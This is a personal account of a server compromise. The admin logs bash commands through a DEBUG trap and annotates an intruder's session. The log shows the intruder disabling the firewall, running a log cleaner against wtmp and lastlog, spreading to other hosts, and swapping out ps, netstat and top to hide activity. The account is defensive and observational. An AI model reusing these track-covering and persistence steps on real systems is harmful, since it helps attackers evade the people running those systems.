Bash logging and observation of a hacker

The story begins with that the password of a shell user took wrong hands for some reason on one of our server. Moreover the shell user had sudo access on the server. Self-respecting server operator first step is immediately saving the data and reinstall the server, excluded the chance that hackers come back to the server through a backdoor. The second step is increasing the security level on server, and the users increase their own security.

However I didn’t do that. I was curious when comes back the hacker and what does he want to do. I couldn’t stay at the computer all day to see ssh consoles and logs, waiting to something will happen, I am not a bio robot. I needed a device, what logs the activity of bash. There is a program called Snoopy in Linux, which activate after installation and take every file operations into auth.log. It is very difficult to see through the processes, because of monitoring processes and more than thousand file operations happen per minute.

After a long searching I found a solution, it bases on the 4. Version of Bash.

In the file /etc/profile the next have to take into:

function log2syslog
    declare command
    command=$(fc -ln -0)
    logger -p local1.notice -t bash -i - "$USER : $command"
trap log2syslog DEBUG

With this every issued command logs into file /var/log/auth.log:

Mar  1 23:29:53 testdev bash[23013]: - root :        ls -a

So I can see the issued commands of the hacker, when I am not at the computer.

After a half day waiting appeared his activity in log. Strangely I didn’t find sign for linkage so I had to immediately bring to light how he solved it.

I found a solution, it was hidden from everybody. At first time, as I might have guessed, he launched his own ssh daemon binded into port 22, and eliminated the original. The active connections didn’t break and nobody noticed anything.

With ps script, which was copied into the usr/sbin library, he hid the ssh as if the original version in the usr/sbin library.

The another strangely sign was: “w” command, because he didn’t run every active connection. I have three active connections through ssh, but the command gave back only one login user.

Well, I revealed his cover and started the observation.

Mar  1 23:29:52 testdev bash[23005]: - root :        cat .bash_history |grep ssh – He looked where I made ssh (but he didn’t know I set key-based authentication on the other servers and I modified default port from 22 to another.
Mar  1 23:31:32 testdev bash[23383]: - root :        /sbin/ifconfig |grep inet
Mar  1 23:31:36 testdev bash[23406]: - root :        iptables -L
Mar  1 23:31:43 testdev bash[23429]: - root :        mkdir .gem – He will put here his little things. An average user never searches there.
Mar  1 23:31:44 testdev bash[23433]: - root :        cd .gem
Mar  1 23:31:53 testdev bash[23462]: - root :        wget – He starts transfer his scripts from the other server.
Mar  1 23:31:54 testdev bash[23476]: - root :        chmod +x fw.stop
Mar  1 23:31:55 testdev bash[23498]: - root :        ./fw.stop – He starts it. (He deletes the firewall rules.)
Mar  1 23:32:03 testdev bash[23543]: - root :        rm -rf fw* - After he deletes the signs.
Mar  1 23:32:49 testdev bash[23645]: - root :        wget – It comes the other things. (Nice script collection)
Mar  1 23:35:39 testdev bash[24231]: - root :        wget – Unfortunately there is an other Hungarian victim. This is a logcleaner, it deletes the data from lastlag and wtmp. (Because of this there was no sign where and when he logged in.)
Mar  1 23:35:45 testdev bash[24260]: - root :        ./clean -u <username> -n 1
Mar  1 23:39:02 testdev bash[29893]: - root :        ./do gigi – After this the work starts. He used the computer to gush other computers. He read the IP, host, user from a constantly expanding txt file.
Mar  1 23:40:14 testdev bash[30227]: - root :        ssh [email protected] – Because he was inside, he tried to log in through VPN, but it was unsuccessful then.
Mar  1 23:40:32 testdev bash[30276]: - root :        ssh [email protected]
Mar  1 23:42:46 testdev bash[30675]: - root :        wget – This script made the hosts fiding which belongs to IP with the help of Bing search site.
Mar  1 23:50:13 testdev bash[14115]: - root :        mv /bin/ps /bin/ps" " – Now, it have to change the original ps.  
Mar  1 23:52:29 testdev bash[11428]: - root :        mv /bin/netstat /bin/netstat" " – Lest we see the opened ports.
Mar  1 23:54:09 testdev bash[20704]: - root :        mv /usr/bin/top /usr/bin/top" " – We shouldn’t see all the running processes.

After this he took the sripts into screen to run there and logged out.

I decided to prevent his work, I broke the running processes and reinstalled the needed package, I set the login only with ssh key.